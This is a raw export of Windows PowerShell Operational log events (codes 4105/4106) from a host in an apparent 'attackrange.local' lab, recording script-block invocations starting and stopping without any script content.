52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987930 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987929 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987928 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987927 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987926 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987925 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987924 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987943 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987942 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987941 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987940 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987939 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987938 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987937 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987936 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987935 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987934 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987953 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987952 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987951 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987950 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987949 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987948 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987947 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987946 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987945 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:39 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987944 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987963 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987962 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987961 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987960 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987959 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987958 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987957 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987956 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987955 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:45 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987954 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987973 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987972 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987971 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987970 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987969 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987968 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987967 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987966 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987965 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987964 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987983 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987982 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987981 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987980 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987979 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987978 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987977 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987976 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:06:54 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 